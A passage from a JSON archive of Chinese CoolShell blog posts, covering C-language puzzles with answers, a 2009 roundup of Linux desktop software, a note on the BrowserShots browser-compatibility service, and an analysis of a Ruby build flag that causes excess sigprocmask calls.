   fprintf(stdout,\"hello-std-out\");\n        fprintf(stderr,\"hello-std-err\");\n        sleep(1);\n    }\n    return 0;\n}\n\n```\n\n**参考答案**：stdout和stderr是不是同设备描述符。stdout是块设备，stderr则不是。对于块设备，只有当下面几种情况下才会被输入，1）遇到回车，2）缓冲区满，3）flush被调用。而stderr则不会。\n\n\n**2、下面的程序看起来是正常的，使用了一个逗号表达式来做初始化。**可惜这段程序是有问题的。你知道为什么呢？\n\n\n\n```\n\n#include <stdio.h>\n\nint main()\n{\n    int a = 1,2;\n    printf(\"a : %d\\n\",a);\n    return 0;\n}\n\n```\n\n**参考答案**：这个程序会得到编译出错（语法出错），逗号表达式是没错，可是在初始化和变量声明时，逗号并不是逗号表达式的意义。这点要区分，要修改上面这个程序，你需要加上括号： int a = (1,2);\n\n\n**3、下面的程序会有什么样的输出呢？**\n\n\n\n```\n\n#include <stdio.h>\nint main()\n{\n    int i=43;\n    printf(\"%d\\n\",printf(\"%d\",printf(\"%d\",i)));\n    return 0;\n}\n\n```\n\n**参考答案**：程序会输出4321，你知道为什么吗？要知道为什么，你需要知道printf的返回值是什么。printf返回值是输出的字符个数。\n\n\n**4、下面的程序会输出什么？**\n\n\n\n```\n\n#include <stdio.h>\nint main()  \n{\n    float a = 12.5;\n    printf(\"%d\\n\", a);\n    printf(\"%d\\n\", (int)a);\n    printf(\"%d\\n\", *(int *)&a);\n    return 0;  \n}\n\n```\n\n**参考答案**：  \n\n该项程序输出如下所示，  \n\n 0  \n\n 12  \n\n 1095237632  \n\n原因是：浮点数是4个字节，12.5f 转成二进制是：01000001010010000000000000000000，十六进制是：0x41480000，十进制是：1095237632。所以，第二和第三个输出相信大家也知道是为什么了。而对于第一个，为什么会输出0，我们需要了解一下float和double的内存布局，如下：\n\n\n* **float**: 1位符号位(s)、8位指数(e)，23位尾数(m,共32位)\n* **double**: 1位符号位(s)、11位指数(e)，52位尾数(m,共64位)\n\n\n然后，我们还需要了解一下printf由于类型不匹配，所以，会把float直接转成double，注意，12.5的float和double的内存二进制完全不一样。别忘了在x86芯片下使用是的反字节序，高位字节和低位字位要反过来。所以：\n\n\n* **float版**：0x41480000 (在内存中是：00 00 48 41)\n* **double版**：0x4029000000000000 (在内存中是：00 00 00 00 00 00 29 40)\n\n\n而我们的%d要求是一个4字节的int，对于double的内存布局，我们可以看到前四个字节是00，所以输出自然是0了。\n\n\n这个示例向我们说明printf并不是类型安全的，这就是为什么C++要引如cout的原因了。\n\n\n**5、下面，我们再来看一个交叉编译的事情，下面的两个文件可以编译通过吗？如果可以通过，结果是什么？**\n\n\nfile1.c \n\n\n\n```\n\n  int arr[80];\n\n```\n\nfile2.c \n\n\n\n```\n\nextern int *arr;\nint main()  \n{      \n    arr[1] = 100;\n    printf(\"%d\\n\", arr[1]);\n    return 0;  \n}\n\n```\n\n**参考答案**：该程序可以编译通过，但运行时会出错。为什么呢？原因是，在另一个文件中用 extern int \\*arr来外部声明一个数组并不能得到实际的期望值，因为他们的类型并不匹配。所以导致指针实际并没有指向那个数组。注意：一个指向数组的指针，并不等于一个数组。修改：extern int arr[]。（参考：ISO C语言 6.5.4.2 节）\n\n\n**6、请说出下面的程序输出是多少？并解释为什么？**（注意，该程序并不会输出 “b is 20″）\n\n\n\n```\n\n#include <stdio.h>\nint main()  \n{      \n    int a=1;      \n    switch(a)      \n    {   \n        int b=20;          \n        case 1: \n            printf(\"b is %d\\n\",b);\n            break;\n        default:\n            printf(\"b is %d\\n\",b);\n            break;\n    }\n    return 0;\n}\n\n```\n\n**参考答案**：该程序在编译时，可能会出现一条warning: unreachable code at beginning of switch statement。我们以为进入switch后，变量b会被初始化，其实并不然，因为switch-case语句会把变量b的初始化直接就跳过了。所以，程序会输出一个随机的内存值。\n\n\n**7、请问下面的程序会有什么潜在的危险？**\n\n\n\n```\n\n#include <stdio.h>\nint main()  \n{      \n    char str[80];\n    printf(\"Enter the string:\");\n    scanf(\"%s\",str);\n    printf(\"You entered:%s\\n\",str);\n    return 0;\n}\n\n```\n\n**参考答案**：本题很简单了。这个程序的潜在问题是，如果用户输入了超过80个长度的字符，那么就会有数组越界的问题了，你的程序很有可以及会crash了。\n\n\n**8、请问下面的程序输出什么？**\n\n\n\n```\n\n#include <stdio.h>\nint main()  \n{\n    int i;\n    i = 10;\n    printf(\"i : %d\\n\",i);\n    printf(\"sizeof(i++) is: %d\\n\",sizeof(i++));\n    printf(\"i : %d\\n\",i);\n    return 0;\n}\n\n```\n\n**参考答案**：如果你觉得输出分别是，10，4，11，那么你就错了，错在了第三个，第一个是10没有什么问题，第二个是4，也没有什么问题，因为是32位机上一个int有4个字节。但是第三个为什么输出的不是11呢？居然还是10？原因是，sizeof不是一个函数，是一个操作符，其求i++的类型的size，这是一件可以在程序运行前（编译时）完全的事情，所以，sizeof(i++)直接就被4给取代了，在运行时也就不会有了i++这个表达式。\n\n\n**9、请问下面的程序的输出值是什么？**\n\n\n\n```\n\n#include <stdio.h>\n#include <stdlib.h>\n\n#define SIZEOF(arr) (sizeof(arr)/sizeof(arr[0]))\n#define PrintInt(expr) printf(\"%s:%d\\n\",#expr,(expr))\n\nint main()\n{\n    /* The powers of 10 */\n    int pot[] = {\n                    0001,\n                    0010,\n                    0100,\n                    1000\n                };\n\n    int i;\n    for(i=0;i<SIZEOF(pot);i++)\n        PrintInt(pot[i]);\n        \n    return 0;\n}\n\n```\n\n**参考答案**：好吧，如果你对于PrintInt这个宏有问题的话，你可以去看一看《[语言的歧义](https://coolshell.cn/articles/830.html)》中的第四个示例。不过，本例的问题不在这里，本例的输出会是：1，8，64，1000，其实很简单了，以C/C++中，以0开头的数字都是八进制的。\n\n\n**10、请问下面的程序输出是什么？（绝对不是10）**\n\n\n\n```\n\n#include \n#define PrintInt(expr) printf(\"%s : %dn\",#expr,(expr))\n\nint main()  \n{\n    int y = 100;\n    int *p;\n    p = malloc(sizeof(int));\n    *p = 10;\n    y = y/*p; /*dividing y by *p */;\n    PrintInt(y);\n    return 0;\n}\n\n```\n\n**参考答案**：本题输出的是100。为什么呢？问题就出在 y = y/\\*p;上了，我们本来想的是 y / (\\*p) ，然而，我们没有加入空格和括号，结果y/\\*p中的 /\\*被解释成了注释的开始。于是，这也是整个恶梦的开始。\n\n\n**11、下面的输出是什么？**\n\n\n\n```\n\n#include <stdio.h>\nint main()  \n{\n    int i = 6;\n    if( ((++i < 7) && ( i++/6)) || (++i <= 9))\n        ;\n\n    printf(\"%d\\n\",i);\n    return 0;\n}\n\n```\n\n**参考答案**：本题并不简单的是考前缀++或反缀++，本题主要考的是&&和||的短路求值的问题。所为短路求值：对于（条件1 && 条件2），如果“条件1”是false，那“条件2”的表达式会被忽略了。对于（条件1 || 条件2），如果“条件1”为true，而“条件2”的表达式则被忽略了。所以，我相信你会知道本题的答案是什么了。\n\n\n**12、下面的C程序是合法的吗？如果是，那么输出是什么？**\n\n\n\n```\n\n#include <stdio.h>\nint main()  \n{ \n    int a=3, b = 5;\n\n    printf(&a[\"Ya!Hello! how is this? %s\\n\"], &b[\"junk/super\"]);\n    \n    printf(&a[\"WHAT%c%c%c  %c%c  %c !\\n\"], 1[\"this\"],\n        2[\"beauty\"],0[\"tool\"],0[\"is\"],3[\"sensitive\"],4[\"CCCCCC\"]);\n        \n    return 0;  \n}\n\n```\n\n**参考答案**：  \n\n本例是合法的，输出如下：\n\n\n\n>  Hello! how is this? super  \n> \n>  That is C !\n> \n> \n\n\n本例主要展示了一种另类的用法。下面的两种用法是相同的：\n\n\n\n>  “hello”[2]  \n> \n>  2[“hello”]\n> \n> \n\n\n如果你知道：a[i] 其实就是 \\*(a+i)也就是 \\*(i+a)，所以如果写成 i[a] 应该也不难理解了。\n\n\n**13、请问下面的程序输出什么？**（假设：输入 Hello, World）\n\n\n\n```\n\n#include <stdio.h>\nint main()  \n{ \n    char dummy[80];\n    printf(\"Enter a string:\\n\");\n    scanf(\"%[^r]\",dummy);\n    printf(\"%s\\n\",dummy);\n    return 0;\n}\n\n```\n\n**参考答案**：本例的输出是“Hello, Wo”，scanf中的”%[^r]”是从中作梗的东西。意思是遇到字符r就结束了。\n\n\n**14、下面的程序试图使用“位操作”来完成“乘5”的操作，不过这个程序中有个BUG，你知道是什么吗？**\n\n\n\n```\n\n#include <stdio.h>\n#define PrintInt(expr) printf(\"%s : %d\\n\",#expr,(expr))\nint FiveTimes(int a)  \n{\n    int t;\n    t = a<<2 + a;\n    return t;\n}\n\nint main()  \n{\n    int a = 1, b = 2,c = 3;\n    PrintInt(FiveTimes(a));\n    PrintInt(FiveTimes(b));\n    PrintInt(FiveTimes(c));\n    return 0;\n}\n\n```\n\n**参考答案**：本题的问题在于函数FiveTimes中的表达式“t = a<<2 + a;”，对于a<<2这个位操作，优先级要比加法要低，所以这个表达式就成了“t = a << (2+a)”，于是我们就得不到我们想要的值。该程序修正如下：\n\n\n\n\n```\n\nint FiveTimes(int a)  \n{\n    int t;\n    t = (a<<2) + a;\n    return t;\n}\n\n```\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [C语言的谜题](https://coolshell.cn/articles/945.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-31 最完美的Linux桌面软件.md",
    "content": "---\nlayout: post\ntitle: 最完美的Linux桌面软件\ndate: 2009/5/31/ 4:12:44\nupdated: 2009/5/31/ 4:12:44\nstatus: publish\npublished: true\ntype: post\n---\n\n**[![ubuntu-logo1](../wp-content/uploads/2009/05/ubuntu-logo1-300x274.jpg \"ubuntu-logo1\")](http://lunduke.com/wp-content/uploads/2009/05/ubuntu-logo1.jpg)**  \n\n下面是关于Linux桌面环境下，目前为止最完美的部分。之所以说他们完美，是因为他们不但很养眼，而且也使用最好的多媒体技术，有最好的可用性。在某些方面，他们甚至超过了Windows和Mac-OS。\n\n\n   \n\n\n\n\n**基础**\n------\n\n\n[Debian](http://www.debian.org/) 或是 [Ubuntu](http://www.ubuntu.com/)。这两个分发包是目前使用最广泛的Linux桌面操作系统的分发包了。\n\n\n\n**软件包管理器**\n----------\n\n\n因为我们使用debian……所以[apt](http://en.wikipedia.org/wiki/Advanced_Packaging_Tool) 必然是软件包管理器中最不错的一个。\n\n\n**[gnome2](http://lunduke.com/wp-content/uploads/2009/05/gnome2.png)桌面环境**\n--------------------------------------------------------------------------\n\n\n这可能是最难的一个了。\n\n\n[KDE4](http://www.kde.org/) 是出色的，相当的出色。\n\n\n[QT](http://www.qtsoftware.com/products/), 基于Gnome建造，也非常出色。\n\n\n而在稳重方面， [Gnome](http://www.gnome.org/) 桌面则是桌面中更为出色的。\n\n\n而且，许多的应用基本上来说都是基于 [GTK](http://www.gtk.org/) 开发的，而GTK则是基于GNOME桌面环境的。\n\n\n所以，我们在这里选择 Gnome 作为最完美的图形桌面。对于KDE，只能非常抱歉了。\n\n\n \n\n\n**快捷任务条（Dock）**\n---------------\n\n\n也许你并不喜欢docks，不过其的确可以帮你更方便地使用图形界面。\n\n\n[CairoDock](http://www.cairo-dock.org/index.php)吗？ 当然，非常不错。那么  [AWN](http://wiki.awn-project.org/) 呢？  也不错。它们都有不同的很不错的功能。\n\n\n但是，因为我们选择了Gnome桌面，所以[Gnome-Do](http://do.davebsd.com/) 在这其中则是最完美的。\n\n\n[![docky1](../wp-content/uploads/2009/05/docky1.jpg \"docky1\")](http://lunduke.com/wp-content/uploads/2009/05/docky1.jpg)\n\n\n**字体**\n------\n\n\nLinux默认的字体必需要被改变。你可以从 [Blambot](http://www.blambot.com/)获得一些相当不错的字体。\n\n\n \n\n\n \n\n\n[![jupiteroneioss3](../wp-content/uploads/2009/05/jupiteroneioss3-300x191.png \"jupiteroneioss3\")](http://lunduke.com/wp-content/uploads/2009/05/jupiteroneioss3.png)**风格/ 图标**\n\n\n这里有一些 [怪异的但令人惊叹](http://www.gnome-look.org/) 的风格和图标可以装典你的桌面。你可以挑选几个来美化你的桌面，的确很不错哦。\n\n\n在这样漂亮的桌面和背景下工作，你的心情都会变得轻松起来。\n\n\n \n\n\n**应用商店（Application Store）**\n---------------------------\n\n\n你是不是早已听说过这个东西啦？\n\n\n我们需要重要Linux发行包可以被简单的拼装起来，并且包含一个“应用商店”（一个不错的桌面应用，用户可以容易地购买商业的软件和服务）。\n\n\n看看这个吧  [Click N Run](http://www.cnr.com/)。的确存在，基于Ubuntu。\n\n\n \n\n\n**Office 套件**\n-------------\n\n\n这可能是最难的一个了。新面世的[KOffice](http://www.koffice.org/wordpress/) 的确是非常不错的。但是 [OpenOffice](http://www.openoffice.org/) 可能更好一些，必竟年头也最长，Bug和性能各方面应该都比较好。\n\n\n音频/ 视频框架\n--------\n\n\n让我们站在高山之上大喊这句话：  [GStreamer](http://www.gstreamer.net/) 是王中之王。\n\n\n   \n\n[![screenshot-miro](../wp-content/uploads/2009/05/screenshot-miro-300x223.png \"screenshot-miro\")](http://lunduke.com/wp-content/uploads/2009/05/screenshot-miro.png)\n\n\n**视频播放器**\n---------\n\n\n有一个令人惊讶的播放器叫 [Miro](http://www.getmiro.com/) （原来叫做 Democracy Player）\n\n\n如果你的Linux安装了它，那么你的Linux就会变成一个最Cool的桌面系统，你可以相当轻松地找到并查看在线的视频。\n\n\n \n\n\n \n\n\n**多媒体中心**\n---------\n\n\nWindows 有一个[Windows Media Center](http://en.wikipedia.org/wiki/Windows_Media_Center).  OS X 有[Front Row](http://en.wikipedia.org/wiki/Front_Row_(software)).\n\n\n那么Linux下有什么？目前来说…… 几乎所有的Linux发行版没有包含这类应用。\n\n\n不过，我们依然有一些选择。\n\n\n我的选择是 [Moovida](http://www.moovida.com/) （正式的：Elisa）  它是有商业资助的，使用GStreamer。它比Apple的 Front Row更为强大。而且，其看上去很不错。\n\n\n   \n\n[![banshee-slide-dap](../wp-content/uploads/2009/05/banshee-slide-dap-300x219.png \"banshee-slide-dap\")](http://lunduke.com/wp-content/uploads/2009/05/banshee-slide-dap.png)\n\n\n音频播放器\n-----\n\n\n[Banshee](http://banshee-project.org/)，看看它到底有多简单。\n\n\n是的，是的，我知道。  [Amarok](http://amarok.kde.org/) 相当的不错。而且 [Rhythmbox](http://projects.gnome.org/rhythmbox/) 也很不错.\n\n\n不过 Banshee 更好一些，因为它被设计成为让用户有更多的选择可以去管理他们的音乐库。因为，当你的音频文件多起来时，你会发现，你是多么需要这样一个强大的管理功能的播放器啊。\n\n\n \n\n\n**音频编辑器**\n---------\n\n\n目前看下来，在音频编辑方面，Linux并不是很优秀，不过我们依然可以看到[Ardour](http://ardour.org/) 这样令人惊叹的软件，即使其功能还不是那么的强大。\n\n\n不过你可以试试[Jokosher](http://www.jokosher.org/)。这是一个很简单的但比较平常的音频编辑器。\n\n\n   \n\n![400px-capture-pitivi_v01301](../wp-content/uploads/2009/05/400px-capture-pitivi_v01301-300x220.jpg \"400px-capture-pitivi_v01301\")\n\n\n**视频编辑器**\n---------\n\n\n[Pitivi](http://www.pitivi.org/wiki/Main_Page). 商业资助的。一个绝对超前的。可以用于Gstreamer 的。如果让其和 [iMovie](http://en.wikipedia.org/wiki/IMovie)来比较的话，Pitivi依然是超前的… 不过，如果我们关注于其它关键应用，那么，这两个编辑器就难分高下了。\n\n\n**图片管理器**\n---------\n\n\n[F-Spot](http://f-spot.org/Main_Page). 不多说了，你试试就知道了。\n\n\n \n\n\n   \n\n[![yofrankie10](../wp-content/uploads/2009/05/yofrankie10-300x173.jpg \"yofrankie10\")](http://lunduke.com/wp-content/uploads/2009/05/yofrankie10.jpg)\n\n\n游戏\n--\n\n\n几乎所有的Linux发行版都会带有一堆游戏，当然这些游戏几乎没人去玩。\n\n\n下面是几个非常不错的游戏，值得你去试试。\n\n\n第一个是 [Yo Frankie!](http://www.yofrankie.org/) 这个游戏可以展示你的Linux在游戏方面比起别的操作系统来说也是非常有能力的。\n\n\n而[Hedgewars](http://www.hedgewars.org/) 游戏则相当搞笑的。如果你和几个有一些联网的话，这个游戏也是非常搞笑的。\n\n\n [Frozen Bubble](http://www.frozen-bubble.org/) 可能是另一个有些意思的游戏。你可以去试试。\n\n\n   \n\n[![empathy-chat-theme](../wp-content/uploads/2009/05/empathy-chat-theme-300x245.png \"empathy-chat-theme\")](http://lunduke.com/wp-content/uploads/2009/05/empathy-chat-theme.png)\n\n\n**聊天**\n------\n\n\n这个领域绝对不是 [Pidgin](http://www.pidgin.im/).  Pidgin 已经出局了。\n\n\n如果是 [Empathy](http://live.gnome.org/Empathy)，它有更好一些的设计。\n\n\n那么，音频和视频聊天呢？\n\n\n[Ekiga](http://www.gnomemeeting.org/)吗？  不是.\n\n\n[Skype](http://www.skype.com/)吗？\n\n\n你说什么？Skype没有开源啊。是的，我们知道，不过Skype是其中表现最为出色的。而且，其用户群是非常大的。包括和电话互联，以及便宜的国际长途。\n\n\n**浏览器**\n-------\n\n\n[Firefox](http://www.mozilla.com/firefox/)，不是吗？不用多解释了吧。\n\n\n \n\n\n**电子邮件**\n--------\n\n\n[Evolution](http://projects.gnome.org/evolution/) 并不仅仅是漂亮。它也可以和Gnome桌面集成。\n\n\n**开发环境**\n--------\n\n\nWindows 程序员有 [Visual Studio](http://en.wikipedia.org/wiki/Microsoft_Visual_Studio).  Mac 程序员有 [XCode](http://en.wikipedia.org/wiki/Xcode).\n\n\n当然，Linux下也有很多。挑选一个很不错的开发环境，我们当然需要有一些标准的规则。有一个“标准”是，开发工具应该是和操作系统紧密结合的，而且需要有一堆可用的工具，这样可以避免程序员再重新发明轮子。\n\n\n[![ss-stetic](../wp-content/uploads/2009/05/ss-stetic-300x216.png \"ss-stetic\")](http://lunduke.com/wp-content/uploads/2009/05/ss-stetic.png)Linux下有太多这样的开发工具了。  [QT Creator](http://en.wikipedia.org/wiki/Qt_Creator) 可能是其中最好的，但是它只能在 Gnome 桌面环境下使用。\n\n\n那么，最容易得到和有丰富功能的IDE又是什么呢？\n\n\n[MonoDevelop](http://monodevelop.com/).\n\n\n是的， 我知道有人说过 “Mono is bad cuz of teh Microsoft.” 不过，如果你确实地相信这句话，那么你自然也就不是一个专业的程序员，而且，你可能在很多地方都在焦虑着一些事情。\n\n\nMonoDevelop 是一个很不错的IDE开发工具。希望你能试试。\n\n\n文章：[来源](http://lunduke.com/?p=616)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [最完美的Linux桌面软件](https://coolshell.cn/articles/936.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-4 如何检查网页浏览器的兼容性.md",
    "content": "---\nlayout: post\ntitle: 如何检查网页浏览器的兼容性\ndate: 2009/5/4/ 6:57:24\nupdated: 2009/5/4/ 6:57:24\nstatus: publish\npublished: true\ntype: post\n---\n\n[BrowserShots.org](http://browsershots.org/) 是一个很不错的在线服务，它主要帮助你检查一下你所设计网站是否兼容所有的浏览器。其目前支持四个操作系统：Linux, Windows, MacOS和BSD。浏览器支持的就多了：包括MSIE，Firefox，Chrome，Safari，Opera，Dillo，SeaMonkey，Navigator等等浏览器的不同版本。\n\n\n使用这个在线服务其实很简单，只需要输入你的网址，并勾选一下各种浏览器。当然，你还可以指定分辨率，色彩度，Javascript，Java和Flash的版本。然后，这个网站会利用虚拟机的技术，启动操作系统然后运行相应的浏览器访问你的网站，并把图抓下来上传到你可以访问的位置以例提供你下载。\n\n\n需要注意的是，如果你选中了太多的浏览器，可能整个速度就有些慢了，而系统设置是30分钟过期，而可能有很多浏览器的任务却高于这个时间。所以，你需要过会就去点击一下“Extend”按钮，以告诉系统延长过期时间。\n\n\n下面是“酷壳”的一些抓图链接如下：  \n\n<http://browsershots.org/https://coolshell.cn/>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![如何免费的让网站启用HTTPS](../wp-content/uploads/2017/08/enable-https-banner-150x150.png)](https://coolshell.cn/articles/18094.html)[如何免费的让网站启用HTTPS](https://coolshell.cn/articles/18094.html)\n* [![DHH 谈混合移动应用开发](../wp-content/uploads/2014/12/1053-DHH-150x150.jpg)](https://coolshell.cn/articles/12225.html)[DHH 谈混合移动应用开发](https://coolshell.cn/articles/12225.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\nThe post [如何检查网页浏览器的兼容性](https://coolshell.cn/articles/757.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-5 让Ruby增加30%的性能改进.md",
    "content": "---\nlayout: post\ntitle: 让Ruby增加30%的性能改进\ndate: 2009/5/5/ 15:44:55\nupdated: 2009/5/5/ 15:44:55\nstatus: publish\npublished: true\ntype: post\n---\n\n\n#### 一切都和 `--enable-pthread` 有关\n\n\n问一下 Ruby 黑客怎么简单地增加一个线程的Ruby应用程序的性能。也许，这些黑客会告诉你，“**小伙，每个人都知道在编译Ruby的时候你需要使用`configure` 的 `--disable-pthread`参数**”。没错，在`configure` `--disable-pthread` 可以让你得到大约 30% 性能提高。但是，这是为什么呢？\n\n\n所有的这一些我们需要使用 [strace](http://timetobleed.com/hello-world/) 工具，这个工具可以打出所有的真实的操作系统的调用。\n\n\n下面，是一段我们测试的例程：\n\n\n\n\n```\n\ndef make_thread\n  Thread.new {\n    a = []\n    10_000_000.times {\n      a << \"a\"\n      a.pop\n    }\n  }\nend\n\nt = make_thread\nt1 = make_thread\n\nt.join\nt1.join\n\n```\n\n如果我们使用 `strace` 工具去测试 `configure` `--enable-pthread` 版本的Ruby引擎，那么我们可以得到下面这样的结果：\n\n\n\n```\n\n22:46:16.706136 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 <0.000004>\n22:46:16.706177 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 <0.000004>\n22:46:16.706218 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 <0.000004>\n22:46:16.706259 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 <0.000005>\n22:46:16.706301 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 <0.000004>\n22:46:16.706342 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 <0.000004>\n22:46:16.706383 rt_sigprocmask(SIG_BLOCK, NULL, [], 8 ) = 0 <0.000004>\n\n```\n\n你会发现上面的sigprocmask 系统调用一页一页又一页地没完没了的。如果你用 `strace -c，你会发现`一共大约**20,054,180** 个`sigprocmask系统调用。但是，如果你是在``--disable-pthread` 的Ruby版本下运行，你会发现根本没有那么多的`sigprocmask` 系统调用（只有 **3** 次，简直就是**天壤之别**）\n\n\n#### 查看一下源代码\n\n\n我们知道 `configure` 是一个脚本，其主要用来创建一个 `config.h` 文件，其中有一大堆宏定义 `define`s ，这些宏定义决定了使用什么样的函数。所以，让我们来比较一下版本 `./configure --enable-pthread` 和版本`./configure --disable-pthread的不同之处吧。`\n\n\n\n```\n\n$ diff config.h config.h.pthread\n> #define _REENTRANT 1\n> #define _THREAD_SAFE 1\n> #define HAVE_LIBPTHREAD 1\n> #define HAVE_NANOSLEEP 1\n> #define HAVE_GETCONTEXT 1\n> #define HAVE_SETCONTEXT 1\n\n```\n\n好的，现在我们再 `grep` 一下Ruby的源代码，我们可以看到只要`HAVE_[S/G]ETCONTEXT` 被设置了，Ruby 就会调用`setcontext()` 和`getcontext()` 这两个系统调用来存取context 的状态，以便异常处理时的切换（通过`EXEC_TAG）。`\n\n\n而如果 `HAVE_[S/G]ETCONTEXT` **没有被定义** `的情况下，`Ruby 会使用 `_setjmp/_longjmp这两个系统调用。`\n\n\n`我们来看看 `_setjmp/_longjmp` 的man page:`\n\n> … The \\_longjmp() and \\_setjmp() functions shall be equivalent to longjmp() and setjmp(), respectively, with the additional restriction that \\_longjmp() and \\_setjmp() shall not manipulate the signal mask…\n> \n> \n\n\n还有`setcontext /getcontext的` man page:\n\n\n\n> … uc\\_sigmask is the set of signals blocked in this context (see sigprocmask(2)) …\n> \n> \n\n\n我们可以看到 `getcontext` 调用每次都要调用`sigprocmask` 但是`_setjmp` 不会。\n\n\n#### 补丁\n\n\n请点击 **[这里](http://github.com/ice799/matzruby/commit/0b9b69f9653782a33aee2b8937d405eae245b60c)**获取补丁\n\n\n这个补丁增加了一个configure 的参数 `--disable-ucontext` 其可以让你关闭使用 `setcontext或getcontext，你只需要像如下方式使用就好了。`\n\n\n\n```\n\n./configure --disable-ucontext --enable-pthread\n\n```\n\n如果你以这种方式编译Ruby，那么，你的程序的性能在同等条件下可能会有30%左右的提升。\n\n\n文章：[来源](http://timetobleed.com/fix-a-bug-in-rubys-configurein-and-get-a-30-performance-boost/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![ETCD的内存问题](../wp-content/uploads/2022/05/etcd-150x150.png)](https://coolshell.cn/articles/22242.html)[ETCD的内存问题](https://coolshell.cn/articles/22242.html)\n* [![性能测试应该怎么做？](../wp-content/uploads/2016/07/PerfTest-150x150.png)](https://coolshell.cn/articles/17381.html)[性能测试应该怎么做？](https://coolshell.cn/articles/17381.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/11454.html)[从LongAdder看更高效的无锁实现](https://coolshell.cn/articles/11454.html)\n* [![分布式系统的事务处理](../wp-content/uploads/2014/01/trade-off-150x150.jpg)](https://coolshell.cn/articles/10910.html)[分布式系统的事务处理](https://coolshell.cn/articles/10910.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\n* [![无锁HashMap的原理与实现](../wp-content/uploads/2013/05/图1-3-150x150.jpg)](https://coolshell.cn/articles/9703.html)[无锁HashMap的原理与实现](https://coolshell.cn/articles/9703.html)\nThe post [让Ruby增加30%的性能改进](https://coolshell.cn/articles/766.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-6 一个在线的画UML图的网站.md",
